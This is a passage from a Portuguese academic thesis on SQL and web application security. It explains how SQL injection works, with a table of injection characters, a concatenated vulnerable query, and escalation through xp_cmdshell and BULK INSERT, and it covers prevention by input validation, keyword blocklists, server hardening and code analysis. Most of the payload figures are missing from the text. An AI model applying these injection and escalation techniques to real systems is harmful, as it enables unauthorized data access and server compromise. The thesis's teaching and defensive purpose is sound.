(desenvolvido em Java).
2.1.5.1 - ESTRUTURA SQL
A linguagem SQL se divide em quatro categorias principais: linguagem de

manipulação de dados (DML), linguagem de definição de dados (DDL), linguagem de
controle de dados (DCL) e linguagem de consulta de dados (DQL).
− DML – Linguagem de Manipulação de Dados:
S
Conforme SILBERSCHATZ, KORTH e SUDARSHAN (1999,p.110), “A
SQL DML abrange uma linguagem de consulta baseado tanto na álgebra relacional
quanto no calculo relacional de tuplas,” e é utilizada para selecionar, inserir, atualizar e
apagar dados.
•
A
SELECT – é o comando mais utilizado da DML, comanda e
IN
permite ao usuário especificar uma consulta como uma
descrição do resultado desejado.
• INSERT – é usada para adicionar uma linha (fila) a uma tabela
existente.
IM
• UPDATE – utilizado para alterar uma fila de dados em uma

tabela existente.
• DELETE – permite ao usuário remover filas existentes de uma
tabela.
N
• BEGIN WORK (ou START TRANSACTION) – pode ser utilizado

para marcar o começo de uma transação de bancos de dados
que pode ser finalizada ou não.
U
• COMMIT – envia todos os dados da mudança para um estado

permanentemente.
• ROLLBACK – faz com que as mudanças nos dados existentes
desde o último COMMIT ou ROLLBACK sejam descartadas.
COMMIT e ROLLBACK interagem com áreas de controle como
transação e locação. Ambos terminam qualquer transação aberta e
liberam todas as transações com algum tipo de relação com as
áreas de controle referenciadas. Na ausência de um BEGIN WORK
26
ou uma declaração semelhante, a semântica de SQL é dependente

da implementação.
− DDL – Linguagem de Definição de Dados

Uma DDL permite ao usuário definir relações novas e elementos
associados. A maioria dos bancos de dados SQL comerciais tem
extensões proprietárias no DDL.
Os comandos principais da DDL são: CREATE (cria um objeto dentro

da base de dados) e DROP (apaga um objeto dentro da base de
dados).
Alguns sistemas de bancos de dados usam o comando ALTER, que

permite ao usuário alterar um objeto, por exemplo, adicionando uma
S
coluna a uma tabela existente.
Outros comandos DDL podem ser:
•
•
ALTER TABLE;
CREATE INDEX; A
IN
• ALTER INDEX;
• DROP INDEX;
• CREATE VIEW;
IM
• DROP VIEW.
− DCL – Linguagem de Controle de Dados
A DCL controla os aspectos de autorização de dados e licenças de
usuários para controlar quem tem acesso para ver ou manipular dados
dentro do banco de dados.
N
Os dois principais comandos do DCL são: GRANT (autoriza ao usuário

executar ou mudar a permissão de execução de operações) e REVOKE
U
(remove ou restringe a capacidade de um usuário de executar

operações).
Outros comandos do DCL são:
• ALTER PASSWORD;
• CREATE SYNONYM.
27
− DQL – Linguagem de Consulta de Dados

Embora tenha apenas um comando (o comando SELECT) a DQL é a
parte da SQL mais utilizada. O comando SELECT, como apresentado
na figura 5, é composto de varias cláusulas e opções, possibilitando
elaborar consultas das mais simples as mais elaboradas.
Tabela ‘X’ Consulta Resultado

C1 C2 Select * from X C1 C2
1 A 1 A
2 B 2 B
C1 C2 Select C1 from X C1
S
1 A 1
2 B 2
C1
1
2
C2
A
B
Select
A
where C1=1
* from X C1
1
C2
A
IN
Figura 5 - Exemplo de modelos de consulta SQL
2.2 – APLICAÇÕES WEB

IM
Anterior ao surgimento da web se utilizava muito aplicações do tipo cliente-

servidor (MELO, Rubens 1997). Neste modelo cada aplicação precisava de um cliente
(interface para o usuário) que era instalada separadamente da aplicação propriamente
N
dita (parte servidor). Esse modelo tem um alto custo de manutenção e

desenvolvimento, uma vez que cada atualização feita no aplicativo, obriga a troca de
todos os clientes instalados.
U
Com a popularização de redes de comunicação como Internet e Intranet

surgiram as aplicações web, ou Webapp, que dispensam a instalação de clientes e
passam a ser acessadas através de um navegador.
Neste modelo as atualizações ou modificações feitas na aplicação são

automaticamente percebidas pelos usuários sem que nenhuma alteração seja feita
nos computadores clientes utilizados para o acesso a aplicação modificada.
28
Modelos de aplicações web podem ser encontrados em Webmail’s, portais

eletrônicos, comércios eletrônicos e bancos como mostra a figura 6.
S
A
Figura 6 - Exemplo de um portal de comércio eletrônico
IN
As aplicações web são aplicações que utilizam a Internet como camada de
apresentação, dessa forma a interação com o usuário se torna mais amigável e as
IM
informações são apresentadas de forma mais simples e compreensível.
De forma simplificada, cada página de uma aplicação web é entregue para o

usuário de forma estática porque todo o processamento ocorre no servidor onde a
aplicação esta hospedada.
N
Estas aplicações podem oferecer acesso, para um grande número de

colaboradores, a informações estruturadas (informações armazenadas em bases de
U
dados), assim como às informações não estruturadas (informações armazenadas em

arquivos de texto, planilhas eletrônicas, entre outros). O acesso a estas informações
(estruturadas ou não), dá se na maioria das vezes através do uso de API’s (Application
Program Interface), também chamadas de applets, portlets, adaptadores ou
conectores, sendo o acesso às informações estruturadas mais facilitado, pois, através
da linguagens de programação pode-se utilizar de API’s que facilitem ao colaborador
acessar as informações através de interfaces intuitivas e amigáveis. Já para acessar
as informações não estruturadas é necessário utilizar, em conjunto com as API’s,
29
métodos de categorização e taxonomia (ciência da identificação) e mecanismos de

busca.
Em linhas gerais, as aplicações web, como ambiente de integração de

informações e como sistemas, facilitam a busca e tratamento de informações nas
diversas fontes disponíveis, possibilitam a realização de transações comerciais e
financeiras, agiliza a tomada de decisão e pode gerar mais produtividade com a
redução no tempo despendido na procura pelas informações.
2.2.1 – DESENVOLVIMENTO DE APLICAÇÕES WEB
Existem várias categorias de aplicações web conhecidas (CONALLEN 2003):

Interativas e informativas (informações customizadas, jogos on-line, formulários de
S
registro, etc.), transacionais (comércio eletrônico, instituições financeiras, etc.),
workflow e ambientes de trabalho colaborativo, comunidades e portais web. Existem
complexidade deste tipo de aplicação.
A
aplicações que pertencem a mais de uma dessas categorias, isso demonstra a
A vantagem em se desenvolver aplicações web é a portabilidade oferecida que

IN
a torna na maioria dos casos independente de sistemas operacionais para que possa
ser acessada.
Vários princípios podem ser aplicados durante toda a fase de desenvolvimento

IM
(GUEZZI 1991). Aplicações convencionais tipicamente oferecem serviços e soluções

com ênfase na funcionalidade e aplicabilidade enquanto as aplicações web oferecem
conteúdos, que são informações e/ou serviços com ênfase na apresentação,
comportamento, aparência, navegação e outras qualidades estéticas. A tecnologia
N
para o software convencional está um pouco mais estável e integrada e o público-alvo

é bem definido, ocorrendo o contrário na engenharia web (JOELSCAMBRAY 2003).
U
De fato, as aplicações “desktop” (ou de segunda camada) estão se tornando

“web”. Isto é, existe uma tendência de que os sistemas convencionais sejam voltados
para a web, buscando facilitar o acesso deste sistema pelo usuário e uma
convergência digital entre plataformas/mídias/protocolos. Assim, o universo dos
sistemas web torna-se bastante vasto, mas de um modo geral, existe um conjunto de
atributos de qualidade principais a serem considerados neste caso:
− Usabilidade: trata-se de um requisito de qualidade como

também um objetivo de aplicações web: permitir a
30
acessibilidade do sistema. Logo, o site deve ter uma

inteligibilidade global, permitir o feedback e ajuda on-line,
planejamento da interface, aspectos estéticos e aspectos
especiais (acessibilidade por deficientes).
− Funcionalidade: o software web deve ter capacidade de
busca e recuperação de informações, links, funções,
aspectos navegacionais e relacionados ao domínio da
aplicação.
− Eficiência: o tempo de resposta deve ser inferior a 10s
(velocidade na geração de páginas/gráficos) [ISO/IEC 9126].
− Confiabilidade: relativo à correção no processamento de
links, recuperação de erros, validação e recuperação de
S
entradas do usuário.
− Manutenibilidade: existe uma rápida evolução tecnológica
aliada à necessidade de atualização constate do conteúdo e
A
das informações disponibilizadas na web, logo o software
web deve ser fácil de corrigir, adaptar e estender.
IN
O desenvolvimento de aplicações web encontra, entretanto, problemas de
engenharia em seus projetos: inexperiência e formação inadequada dos
desenvolvedores, falta (de uso) de métricas para estimativas, o não uso de modelos
IM
do processo, métodos inadequados e obsoletos, planejamento incorreto, prazos e

custos excedidos, inexistência de documentação, dificuldades de implementação e
manutenção, aplicações mal definidas e projetadas, layout inadequado (comunicação
visual), mudança contínua dos requisitos, da tecnologia e da arquitetura, visão da
atividade como “Arte”, falta de rigor no processo de desenvolvimento, falta de
N
tratamento na entrada de informações e principalmente um desconhecimento de

praticas de segurança no desenvolvimento destas aplicações (CONALLEN 2003).
U
Carvalho et al. (CARVALHO 2001) define que "a engenharia de software é uma
disciplina que reúne metodologias, as quais são compostas por métodos que se
utilizam de ferramentas automatizadas, para viabilizar a produção, da percepção do
problema até o momento em que o sistema desenvolvido deixa de ser operacional,
visando resolver problemas inerentes ao processo de desenvolvimento e ao produto
de software, enfrentando os efeitos advindos com o que se denominou crise do
software".
31
2.2.2 - DESENVOLVIMENTO SEGURO DE APLICAÇÕES WEB
Quando se fala em aplicações web existe uma grande preocupação com

relação a segurança dos dados e muito se é investido em equipamentos de prevenção
de ataques e monitoramento dos acessos, porém em muitos casos essa preocupação
não existe no momento do desenvolvimento dessas aplicações o que compromete
todo o investimento feito em segurança e deixa as informações da empresa
vulnerável.
“O desenvolvimento de sistemas é um dos pontos mais críticos para

garantia de segurança da informação de uma empresa.
S
Procedimentos, treinamento, política de segurança, dentre outros são
aspectos importantes a serem considerados.” (ALBUQUERQUE.;
RIBEIRO, 2002, p.106).
A
Deve existir um comprometimento com a segurança por parte de toda a equipe
de desenvolvimento, isto se dá através de treinamento e conscientização dos
IN
membros da equipe.
Um modelo de processo procura descrever formalmente e de maneira

organizada todas as atividades que devem ser seguidas para a obtenção segura de
IM
um produto de software.
Existem três preocupações básicas durante o desenvolvimento seguro de

aplicações:
N
Segurança do ambiente de desenvolvimento – atentar a manutenção do

código fonte seguro, em evitar o roubo do código fonte ou indisponibilidade da equipe
U
de desenvolvimento. É impossível obter uma aplicação segura em um ambiente

inseguro (ALBUQUERQUE; RIBEIRO, 2002), sem restrição de acesso físico ao ambiente
e lógico aos servidores como mostrado na figura 7.
32
S
Segurança da aplicação
A
Figura 7 - Exemplo de sala de segurança para servidores
desenvolvida – atenção
desenvolver uma aplicação que seja segura, siga corretamente a especificação de
necessária para
IN
segurança e não contenha acessos ocultos, códigos maliciosos ou falhas que
comprometam a segurança.
Muitas vezes um código seguro pode implicar em perda de desempenho. Isso

IM
acontece devido a imposição de controles internos na aplicação, mas pode ser

facilmente compensado com o correto dimensionamento do hardware a ser utilizado.
Já um código inseguro não é solucionado pela especificação de um hardware.
N
O desenvolvimento seguro de uma aplicação implica em:
• Criar funções intrinsecamente seguras.

U
• Testar o retorno das funções chamadas.

• Documentação correta da aplicação.
• Manter política de versão consistente.
• Usar apenas componentes e bibliotecas confiáveis.
• Não colocar senhas e chaves no código da aplicação.
• Tratar todas as entradas de informações do sistema.
• Guardas registros (logs) de todas as atividades executadas no sistema.
• Utilizar técnicas ou funções de criptografia para proteção de senhas.
33
Garantia de segurança da aplicação desenvolvida – garantir ao cliente a

segurança da aplicação em desenvolvimento.
Para garantir a segurança de uma aplicação é preciso trabalhar com a

premissa de que não existe segurança absoluta, por isso, testes de vulnerabilidade
devem fazer parte do processo de desenvolvimento de aplicações com o objetivo de
identificar vulnerabilidades e possíveis ameaças.
É preciso compelir as ameaças à segurança da aplicação e a política de

segurança e medidas para reduzir a probabilidade de ocorrência de vulnerabilidades
também deve ser tomada.
S
A
IN
IM
N
U
34
3 – O ATAQUE SQL INJECTION, SUAS VARIAÇÕES E

TÉCNICAS DE PREVENÇÃO.
3.1 – SQL INJECTION
O SQL INJECTION é uma técnica utilizada pra explorar aplicações web

a partir da inserção de consultas SQL como parâmetros de execução destas
aplicações. Apesar de ser notavelmente simples se implementar uma proteção contra
este tipo de ataque, há um elevado número de sistemas conectados a Internet que
ainda são totalmente vulneráveis (JOELSCAMBRAY 2003).
O princípio básico do SQL Injection é o de obter vantagem de um
S
código inseguro em um sistema conectado a Internet com o objetivo de passar
comandos diretamente a um banco de dados, conseguindo assim acesso não
A
autorizado ao ambiente e suas informações.
3.1.1 – CODIFICAÇÃO DE CARACTERES

IN
A maioria dos navegadores utilizados atualmente não interpretam
corretamente as requisições que contem caracteres de pontuação e muitos outros
símbolos a menos que sejam codificados.
IM
Neste trabalho foram utilizados em todos os exemplos caracteres ASCII

para manter a máxima legibilidade. Na prática é necessário substituir estes caracteres
na requisição à aplicação.
N
Identificar caracteres maliciosos permite, principalmente, evitar que

perpetre-se ataques como, por exemplo, SQL Injection (TORRES 2003).
U
Abaixo segue uma tabela com os caracteres mais comuns utilizados

nesses tipos de ataque:
35
CARACTER FUNÇÃO
Caracter indicador de textos (encerra string de
' ou " texto)
-- ou # Comenta uma linha
/*…*/ Comenta várias linhas
+ Adiciona ou concatena
|| (pipe dupla) concatena dados
% Insere um atributo
?Param1=teste&Param2=tes Parâmetros no formato URL
PRINT Útil para comando não transacional
@variable Variável local
@@variable Variável global
waitfor delay '0:0:10' Cria um atraso (delay)
3.1.2 – O ATAQUE
S
O SQL Injection é um dos mais comuns ataques na camada de
aplicação praticados na Internet de acordo com pesquisas realizadas pelos institutos
A
Gartner e IDC. As tecnologias vulneráveis a este tipo de ataque são as que utilizam
linguagens dinâmicas como ASP, ASP.NET, PHP, JSP, CGI entre outras. A única
ferramenta necessária para a prática deste tipo de ataque é o navegador Internet o
IN
que torna este método tão popular.
Qualquer página na Internet que envie parâmetros a um banco de

dados pode estar vulnerável ao SQL Injection, porém é mais comum encontrar essas
IM
falhas em páginas de controle de acesso.
A vulnerabilidade a este tipo de ataque ocorre quando a aplicação

aceita a inserção de uma série de comandos SQL como parâmetros e não filtra
caracteres estranhos apropriadamente. Isto permite que as informações contidas em
N
um banco de dados possam ser roubadas, alteradas ou até mesmo apagadas. Certos
SGBD’s como o Microsoft SQL Server contém stored procedures e extended
U
procedures (funções internas do bancos de dados). Se um usuário consegue acesso a

estas funções ele pode comprometer todo o servidor.
A forma mais comum de utilização da técnica de SQL Injection é através

da manipulação de comandos SQL já existentes. Esta manipulação ocorre pela
alteração da cláusula WHERE ou estendendo o comando acrescentando o operador
UNION. Existem outras possíveis variações, mas estas são as mais utilizadas. A forma
clássica de manipulação de código SQL geralmente ocorre em páginas de controle de
acesso ou pesquisa de produtos.
36
Uma aplicação que utiliza linguagens dinâmicas (ASP ou JSP, por

exemplo) tipicamente contém consultas SQL, e os seus parâmetros que são enviados
para o banco de dados, como uma linha de comando única.
A figura 8 apresenta um exemplo de código que gera um comando SQL:
sql_query= “SELECT ProductName, ProductDescription FROM Products WHERE

ProductNumber = " & Request.QueryString("ProductID")
Figura 8 - Representação de instrução SQL
O comando Request.QueryString(“ProductID”) recebe o valor informado

em um campo do formulário chamado de ProductID e pode vir inserido na condição do
comando SQL.
S
Quando o usuário informa a seguinte URL:
A
Figura 9 – Exemplo de URL com parâmetros
IN
A seguinte consulta é executada:
IM
Figura 10 – Consulta executada no banco de dados
Um invasor pode verificar se a informação passada na variável

“ProductID” passa por algum processo de validação alterando o comando SQL da
N
seguinte forma:
U
Figura 11 – Demonstração de ataque direto a URL
A consulta executada será:
Figura 12 – Consulta passada para interpretação do banco de dados
Como a condição “1=1” sempre será verdadeira e com isso todos os

dados das colunas “ProductName” e “ProductDescription” serão retornados.
37
A partir disso, além de obter acesso às informações da empresa o

invasor está apto a executar comandos maliciosos, podendo inserir, apagar ou
modificar os dados.
Por exemplo, o símbolo “;” (ponto e virgula) é utilizado para enviar ao

servidor de banco de dados vários comandos de uma única vez. Com isso o invasor
pode executar o seguinte comando apagando toda a tabela de produtos da empresa:
Figura 13 – Exemplo de ataque direto a URL
Ele pode também consultar outro tipo de informação utilizando o

seguinte comando:
S
A
Retornando assim todos os usuários do sistema e suas senhas.

IN
3.2 – ADVANCED SQL INJECTION
IM
Esta variação da técnica de SQL Injection consiste no levantamento

inicial das informações na qual o invasor não conhece a aplicação e precisa então
forçar erros no sistema para tentar identificar a estrutura e assim obter acesso ao
servidor de banco de dados.
N
3.2.1 – O ATAQUE
Em uma página de validação de usuário e senha de uma aplicação

U
WEB o invasor pode em primeiro lugar tentar o acesso à aplicação com o primeiro
usuário da tabela sem nem mesmo saber qual é, utilizando o seguinte comando:
O uso de aspas simples delimita o comando SQL e os caracteres “--“

indicam ao SGBD que a partir desse ponto vem um comentário, ignorando todo o
restante da cláusula SQL.
38
O invasor pode ainda se conectar com um usuário fictício que não

existe no banco, isso porque algumas aplicações somente permitem o acesso a outros
módulos verificando se o select retorna uma linha ou não, mas sem necessariamente
revalidá-lo.
Assim a aplicação entende que o fato de o comando SQL ter retornado

uma linha indica que o usuário tem permissão de acesso ao sistema.
3.2.2 – OBTENDO INFORMAÇÕES ATRAVÉS DE MENSAGENS DE ERRO
S
O comportamento padrão de aplicações ASP é retornar mensagens de
erro como o exemplo mostrado na figura 17 quando algo está errado e, com isso, um
A
invasor pode identificar a estrutura do banco e visualizar qualquer informação que
possa ser consultada pelo usuário que a aplicação utiliza para se conectar ao banco
de dados.
IN
IM
N
U
Figura 17 - Exemplo de tela de erro gerada com técnica de SQL Injection

39
Considerando que um invasor pretende inserir um usuário no banco de

dados sem conhecer a estrutura da tabela de usuários, o primeiro passo seria
descobrir das tabelas utilizadas, informando no campo de usuário de um formulário o
seguinte comando:
Figura 18 - Exemplo de injeção de caracteres em campo de formulário
Isto provoca o seguinte erro:
S
A
Figura 19 - Exemplo de mensagem de erro com informações sobre a estrutura da tabela
IN
Agora o invasor já sabe o nome da tabela USUARIOS e da primeira
coluna COD utilizada no comando SQL. Ele pode agora descobrir as outras colunas
inserindo cada uma delas em uma clausula GROUP BY.
IM
Figura 20 - Exemplo de comando para explorar mensagens de erro
Isso retorna a seguinte mensagem de erro:

N
U
Continuando com essa técnica o invasor irá adicionando na clausula

GRUOUP BY as colunas da consulta até que sua execução não retorne mais erro.
Com isso o invasor está apto a trabalhar com as informações da tabela de usuários.
Com a utilização da cláusula SUM, utilizada para somar os valores de

uma coluna, o invasor pode descobrir qual o tipo de dados de uma das colunas:
40
Figura 22 - Exemplo de comando para explorar mensagens de erro
O comando ira produzir o seguinte erro:
Determinando assim o tipo de dados da coluna username (VARCHAR).
S
Caso essa cláusula seja usada em um campo de tipo numérico uma mensagem de
erro informará que os campos em mais de uma linha não coincidem.
A
O uso desta técnica pode praticamente determinar o tipo de qualquer
coluna em uma tabela, permitindo então a criação de um comando de inserção bem
IN
formatado como:
Figura 24 - Exemplo de comando para criar usuário na tabela

IM
Estes são apenas exemplos de como essa técnica de utilizar

informações de erro retornadas pelo sistema, pode ser utilizado para identificar a
estrutura do banco de dados utilizada por uma aplicação.
N
Existe uma lista de comandos que resultam em mensagens onde o

invasor pode retirar informações relevantes sobre o ambiente. Desta lista serão
U
examinados alguns dos mais utilizados.
Uma mensagem em especial se refere a conversão de tipos de dados.

Voltando ao exemplo citado anteriormente onde o invasor conseguiu identificar a
estrutura da tabela usuarios, ele pode utilizar uma tentativa de conversão de dados
para identificar a versão do sistema operacional e do SGBD utilizados, executando o
seguinte comando:
41
Figura 25 - Exemplo de comando para identificar a versão do SGBD
Este comando tenta converter o valor da constante “@@version” em um

valor inteiro que é o tipo utilizado na primeira coluna da tabela usuarios.
Isto retorna a seguinte mensagem de erro:
S
Figura 26 - Exemplo de mensagem de erro com a versão do SGBD
A
A mensagem apresentada mostra a versão do sistema operacional
(Windows NT 5.0 (Build 2195: Service Pack 2)) e a versão do SGBD utilizado
('Microsoft SQL Server 2000 - 8.00.194 (Intel X86))
IN
3.2.3 – OBTENDO CONTROLE SOBRE O SISTEMA OPERACIONAL E REDE
De acordo com SILBERSCHATZ et al. (1999), SQL além de possuir

IM
recursos de consulta ao banco de dados, também apresenta outros recursos como

definição de estrutura de dados e para especificações de restrições de segurança.
Uma vez que um invasor possui controle do banco de dados ele pode
N
agora tentar obter acesso para controlar o sistema operacional e até mesmo a rede.
Isso pode ser conseguido de várias maneiras, dentre elas as mais

conhecidas são:
U
• Utilização da stored procedure xp_cmdshell para executar

comandos no sistema utilizando o usuário do SQL Server.
• Utilização da stored procedure xp_regread para ler as chaves de
registro do sistema.
• Utilização de qualquer outra stored procedure para influenciar o
sistema.
• Execução de consultas em outros servidores conectados.
42
• Criação de stored procedures para executar comandos de

exploração.
• Utilizando a clausula BULK INSERT para ler qualquer arquivo no
sistema.
• Utilizando o bcp para criar arquivos de texto arbitrários no sistema.
• Utilizando as stored procedures sp_OACreate, sp_OAMethod e
3
sp_OAGetProperty para criar aplicações ActiveX que podem fazer
qualquer coisa que uma aplicação em ASP pode fazer.
S
A
IN
IM
N
U
3
ActiveX é uma tecnologia da Microsoft para o desenvolvimento de páginas dinâmicas. Tem presença
na programação do lado do servidor e do lado do cliente, embora existam diferenças no uso em cada
um desses casos.
43
4 – COMO SE PREVENIR DE ATAQUES SQL INJECTION
Nesta seção serão apresentadas algumas formas de defesa contra os

ataques de SQL Injection descritos nas seções anteriores.
4.1 – VALIDAÇÃO DE ENTRADA
Validação de entrada pode ser um assunto muito complexo.

Geralmente, no desenvolvimento de um projeto pouca atenção é dispensada para a
validação dos dados de entrada, pois podem causar paradas no sistema e podem ser
problemas difíceis de resolver. Códigos de validação de entrada não acrescentam
nenhuma funcionalidade ao sistema e podem apenas tornar o desenvolvimento mais
S
complexo e demorado, mas são uma arma importante na prevenção de ataques.
Existem várias técnicas de validação de entrada, porém, serão

abordadas duas delas:
•
A
Rejeitar dados conhecidos como inválidos.
IN
• Aceitar dados conhecidos como válidos.
• Escape de caracteres.
IM
Rejeitar dados conhecidos como inválidos é uma técnica complexa,

primeiro porque o desenvolvedor não é necessariamente quem define os dados
inválidos (novas formas de dados maliciosos que podem comprometer o sistema são
descobertas a cada dia), segundo porque novas técnicas de ataque são criadas
N
diariamente e isso implica em uma atualização permanente da aplicação.
Aceitar dados conhecidos como válidos é provavelmente o melhor, mas

é o mais difícil de implementar.
U
A maioria dos operadores de linguagem de expressões regulares são

caracteres únicos sem escape. O caractere de escape \ (um Simples barra invertida)
informa ao analisador de expressão regular que o caractere seguinte a barra invertida
não é um operador. Por exemplo, o analisador trata um asterisco (*) como um
quantificador de repetição e uma barra invertida seguida de um asterisco (\ *) como o
caractere Unicode 002A. Isso evita que a aplicação trate os caracteres inseridos nos
campos dos formulários como comandos e receba apenas como dados (texto) de
entrada.
44
Na visão da segurança o melhor é trabalhar as três técnicas em

conjunto – permitir a entrada somente de dados válidos conhecidos pela aplicação e
ainda assim procurar por essa entrada em uma base de registros de dados maliciosos.
Um bom exemplo da necessidade de combinar essas técnicas é sobre a

questão de hífens (-).
O banco de dados pode conter informações que tenham esse caracter

presente, então ele é reconhecido como dado válido de entrada, porém já foi
apresentado que dois hífens em seqüência (--) têm outro significado ao SQL Server e
é preciso limitar sua utilização.
A figura 9 trás um exemplo de código utilizado para rejeitar dados

inválidos conhecidos como maliciosos:
S
A
IN
IM
N
U
Figura 27 - Exemplo de código com tratamento de dados de entrada
Como pode-se ver a função validate_string representada no código

acima, define as palavras (“select”, “insert”, “update”, “delete”, “drop”, “--" e “”) como
inválidas e retorna o valor FALSE (falso) caso alguma delas seja usada na aplicação.
Na figura 28 tem-se um exemplo de código que permite somente a

utilização de dados conhecidos como validos:
45
Figura 28 - Exemplo de código com tratamento de dados de entrada
O código mostrado na figura 28 cria uma lista de caracteres aceitos

conhecidos como válidos e através da função validatepassword todos os dados
inseridos na aplicação serão analisados retornando FALSE (falso) caso algum caracter
S
não definido nessa função seja utilizado.
4.2 – INSTALAÇÃO E CONFIGURAÇÃO DE SEGURANÇA NO SQL

SERVER
A
IN
Um ponto importante é garantir que somente o que a aplicação
necessita para funcionar será liberado, restringindo assim o acesso ao servidor de
banco de dados.
IM
Com isso, algumas atitudes devem ser consideradas para a instalação

de um servidor de banco de dados SQL Server (TECHNET, 2003):
• Determinar os métodos de conexão do servidor.

o Verificar se somente as bibliotecas de conexão utilizadas
N
pela aplicação estão habilitadas.

• Verificar as contas existentes.
o Criar contas de privilégio baixo para o uso das
U
aplicações.
o Remover contas desnecessárias.
o Garantir que todas as contas possuem senhas fortes.
o Executar o banco de dados com uma conta de baixo
privilégio.
• Verificar os objetos existentes.
46
o A maioria das stored procedures pode ser removida. Se

isso for feito, deve-se considerar também a remoção da
DLL que contenha o código da stored procedure.
o Remover todas as bases de dados de exemplos –
northwind e pubs, por exemplo.
• Verificar o acesso a objetos.
o A conta utilizada pela aplicação deve ter o mínimo de
acesso necessário ao banco de dados.
o Alterar as permissões e remover o acesso público aos
objetos do sistema.
• Manter sempre atualizado o SGBD (patches de segurança
fornecidos pelo fabricante).
S
• Habilitar a auditoria de senhas para todas as contas.
• Remover protocolos de rede não utilizados.
Verificar o que deve ser registrado em logs e o que deve ser feito
A
•
com os logs armazenados.
4.3 – DETECÇÃO E DISSUASÃO

IN
Um ponto importante é aplicar mensagens de dissuasão nas
mensagens de erro da aplicação.
IM
Isso pode assustar a maioria dos possíveis ofensores e pode ser

implementado em um IDS ou nos scripts de validação da aplicação.
Além do uso de mensagens de intimidação outras técnicas de reação

N
serão utilizadas, como:
1. Registro dos acessos;

2. Envio de e-mails de alerta;
U
3. Bloqueio do IP do ofensor.
4.3.1 – ALTERAÇÃO DAS MENSAGENS DE ERRO
É extremamente importante evitar que sejam mostradas mensagens de

erro em um servidor Web, pelo fato de que estes apresentam nas mensagens de erros
ou avisos caminhos de pastas do sistema de arquivos e informações a respeito do
SGBD, podendo comprometer a segurança do sistema.
47
É possível suprimir mensagens de erro ou avisos em aplicações web

através de configurações de segurança no servidor que desabilitam essas funções.
O servidor web da Microsoft (Internet Information Services – IIS) pode-

se desabilitar as mensagens de erro nas configurações da aplicação como
apresentado na figura 11, no campo de “Depurações” no qual as mensagens de erro e
avisos padrão do sistema podem ser substituídas por mensagens de alerta a serem
definidas pelo administrador do sistema como mostrado na figura 12.
S
A
IN
IM
N
Figura 29 - Propriedades da aplicação

U
48
S
A
Figura 30 - Desabilitar mensagens de erro padrão definindo mensagens de alerta
IN
4.3.2 – UTILIZAÇÃO DE FERRAMENTAS DE ANÁLISE DE CÓDIGO-
FONTE
IM
A análise de código para fins de segurança é uma das alternativas mais

utilizadas pelo mercado para o desenvolvimento de software seguro. Sua difusão se
deve primeiro aos resultados, em termos de localização de falhas de segurança em
código e, segundo, pela facilidade de incorporação ao ciclo de desenvolvimento, uma
N
vez que as principais ferramentas se integram às ferramentas de programação mais

usadas hoje.
U
As ferramentas de análise de código fundamentam o Teorema de Rice

(Hopcroft, John; Ullman, Jeffrey 1979), que coloca que qualquer questão não trivial
endereçada a um programa pode ser reduzido ao Problema de Halting (Sipser,
Michael 2006). Isso implica que os problemas de análise de código são insolúveis no
pior caso e, por consequência, que essas ferramentas são obrigadas a fazer
aproximação, cujo resultado é algo não perfeito.
Os principais problemas das ferramentas de análise de código fonte

para segurança estão concentrados em:
49
Falso negativo - o programa contém falhas não endereçadas pela

ferramenta. Isso dá a falsa sensação de que elas não existem, que na verdade
significa que a ferramenta não foi capaz de encontrar mais exemplares.
Falso positivo - a ferramenta endereça falhas não existentes. Isso se

refere a duas possibilidades: um erro propriamente dito, onde a ferramenta localizou
uma falha que não existe fisicamente; ou há uma classificação da ferramenta
incoerente com as variáveis do ambiente. Por exemplo, a ferramenta poderia
encontrar uma falha de SQL Injection, que na realidade, não interessa para o software
investigado pelas suas características de operação.
Vale ressaltar que as ferramentas comerciais procuram reduzir o falso

positivo, assumindo o custo de deixar passar falsos negativos.
S
As análises de código fonte podem ser divididas de acordo com as
seguintes abordagens:
A
Análise estática: a análise estática pode compreender as técnicas de
busca direta a partir de lista de strings, a análise léxica, onde os tokens do código
IN
fonte são comparados com àqueles contidos numa biblioteca de vulnerabilidades e
análise semântica, onde se prevê como o programa se comportará em tempo de
execução, usando a tecnologia de compiladores (árvore sintática abstrata)
Análise de fluxo de controle: usada para caminhar através das

IM
condições lógicas do código. O processo funciona como a seguir:
Observando uma função, determine cada condição de desvio. Essas

incluem loops, switchs, if's e blocos try/catch, entendendo as condições sobre como
N
cada bloco será executado.
Análise de fluxo de dados: usada para seguir fluxos de dados dos

pontos de entrada aos pontos de saída, ou seja, para cada entrada e necessário
U
determinar o quanto a aplicação acredita na fonte de entrada. Quando em dúvida a

aplicação deve tratar como dados suspeitos.
A ferramenta mais eficiente é a que consegue fazer uso dessas

abordagens combinadas para reduzir tanto o falso negativo, como o falso positivo.
Alguns fornecedores estão na busca por ferramentas efetivas em termos de análise de
código para segurança. Dentre eles, vale destacar: Coverity (www.coverity.com),
Fortify (www.fortify.com), Ounce Labs (www.ouncelabs.com) e Microsoft
(www.microsoft.com).
50
A Microsoft específicamente apresenta o “Microsoft Source Code

Analyzer for SQL Injection” que é uma ferramenta de análise de código estático que o
ajuda a encontrar vulnerabilidades em códigos ASP (Active Server Pages).
Vale reforçar, que para conseguir tirar o melhor proveito das

ferramentas de análise de código fonte para segurança, seu uso deve estar amparado
por um ciclo de desenvolvimento seguro.
S
A
IN
IM
N
U
51
5 – ESTUDO DE CASO
Foi criado em laboratório, um ambiente composto por um servidor virtual

com banco de dados no qual foi disponibilizada uma aplicação web para simular a
prática de SQL Injection, ou seja, serão aplicadas as técnicas apresentadas nesse
trabalho.
5.1. PLATAFORMA UTILIZADA
Como a maioria dos fabricantes de software utiliza o padrão SQL-92

4
ANSI na escrita do código SQL, os problemas e as falhas de segurança aqui
apresentadas se aplicam a todo ambiente que faz uso desse padrão para troca de
S
informações - o que inclui, por exemplo, servidores Oracle. Nos testes realizados em
laboratório foram utilizados servidores da plataforma Microsoft: Internet Information
Server 6, Active Server Pages e Microsoft SQL Server 2000.
5.1.1. ATAQUES PELA TELA DE ACESSO

A
IN
A técnica mais simples de ataque que explora SQL Injection é a que
“engana” o formulário de acesso de uma aplicação. Para isso foi criada uma página de
acesso utilizando o código exibido na figura 13, em que o usuário digita seu nome e
IM
senha.
N
U
Figura 31 - Código de um formulário de uma aplicação web onde o usuário digita nome e senha
4
O American National Standards Institute (ANSI) é uma organização sem fins lucrativos cuja finalidade é
criar padrões de aceitação internacional sobre um determinado assunto
52
A Figura 32 ilustra como este formulário é exibido para o usuário
S
Figura 32 - Tela de Login onde o usuário digita nome (Username) e senha (Password)
O código presente na figura 33 mostra como a informação digitada pelo

usuário será processada na aplicação web.
A
IN
IM
N
U
53
S
A
IN
IM
